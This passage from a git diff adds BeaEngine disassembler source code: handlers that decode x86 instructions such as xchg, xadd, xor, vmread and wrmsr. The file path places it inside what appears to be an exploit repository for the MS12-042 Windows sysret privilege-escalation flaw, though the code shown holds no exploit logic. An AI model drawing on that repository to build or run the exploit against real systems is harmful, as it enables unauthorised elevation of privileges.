((*pMyDisasm).Instruction.Mnemonic, "ud2 "); + #endif + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ vmread_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmread "); + #endif + if (GV.Architecture == 64) { + GV.OperandSize = 64; + } + EvGv(pMyDisasm); + if (GV.Architecture == 64) { + GV.OperandSize = 32; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ vmwrite_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = VM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmwrite "); + #endif + if (GV.Architecture == 64) { + GV.OperandSize = 64; + } + GvEv(pMyDisasm); + if (GV.Architecture == 64) { + GV.OperandSize = 32; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ wbinvd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "wbinvd "); + #endif + GV.EIP_++; +} + +/* ======================================= + * 9Bh + * ======================================= */ +void __bea_callspec__ wait_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+FPUCONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "wait "); + #endif + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ wrmsr_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "wrmsr "); + #endif + GV.EIP_++; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG1+REG2; + (*pMyDisasm).Argument2.ArgSize = 32; +} + + +/* ======================================= + * 0fc0h + * ======================================= */ +void __bea_callspec__ xadd_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xadd "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,110); +} + +/* ======================================= + * 0fc1h + * ======================================= */ +void __bea_callspec__ xadd_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xadd "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,110); +} + +/* ======================================= + * 91h + * ======================================= */ +void __bea_callspec__ xchg_ecx(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[1+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[1]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[1+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[1]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + + +/* ======================================= + * 92h + * ======================================= */ +void __bea_callspec__ xchg_edx(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[2+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[2]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + + +/* ======================================= + * 93h + * ======================================= */ +void __bea_callspec__ xchg_ebx(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[3+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[3]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[3+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[3]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + + +/* ======================================= + * 94h + * ======================================= */ +void __bea_callspec__ xchg_esp(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG4; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[4+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[4]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[4+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[4]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + + +/* ======================================= + * 95h + * ======================================= */ +void __bea_callspec__ xchg_ebp(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG5; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[5+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[5]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[5+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[5]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + + +/* ======================================= + * 96h + * ======================================= */ +void __bea_callspec__ xchg_esi(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG6; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[6+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[6]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[6+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[6]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + + +/* ======================================= + * 97h + * ======================================= */ +void __bea_callspec__ xchg_edi(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG7; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[7+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[7]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[7+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[7]); + #endif + } + GV.EIP_++; + (*pMyDisasm).Argument2.AccessMode = WRITE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + +/* ======================================= + * 0d7h + * ======================================= */ +void __bea_callspec__ xlat_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+MISCELLANEOUS_INSTRUCTION; + if (GV.AddressSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xlatb "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + (*pMyDisasm).Argument2.ArgSize = 64; + GV.EIP_++; + } + else if (GV.AddressSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xlatb "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + (*pMyDisasm).Argument2.ArgSize = 32; + GV.EIP_++; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xlatb "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_++; + } +} + + +/* ======================================= + * 30h + * ======================================= */ +void __bea_callspec__ xor_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,113); +} + +/* ======================================= + * 31h + * ======================================= */ +void __bea_callspec__ xor_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,113); +} + +/* ======================================= + * 32h + * ======================================= */ +void __bea_callspec__ xor_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,113); +} + +/* ======================================= + * 33h + * ======================================= */ +void __bea_callspec__ xor_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,113); +} + +/* ======================================= + * 34h + * ======================================= */ +void __bea_callspec__ xor_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,113); +} + +/* ======================================= + * 35h + * ======================================= */ +void __bea_callspec__ xor_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xor "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,113); +} + + +/* ======================================= + * 86h + * ======================================= */ +void __bea_callspec__ xchg_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,113); + (*pMyDisasm).Argument2.AccessMode = WRITE; +} + +/* ======================================= + * 87h + * ======================================= */ +void __bea_callspec__ xchg_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,113); + (*pMyDisasm).Argument2.AccessMode = WRITE; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_SSE.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_SSE.c new file mode 100644 index 0000000..5bd0424 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_SSE.c @@ -0,0 +1,4570 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0x 0f 58 + * ==================================================================== */ +void __bea_callspec__ addps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + 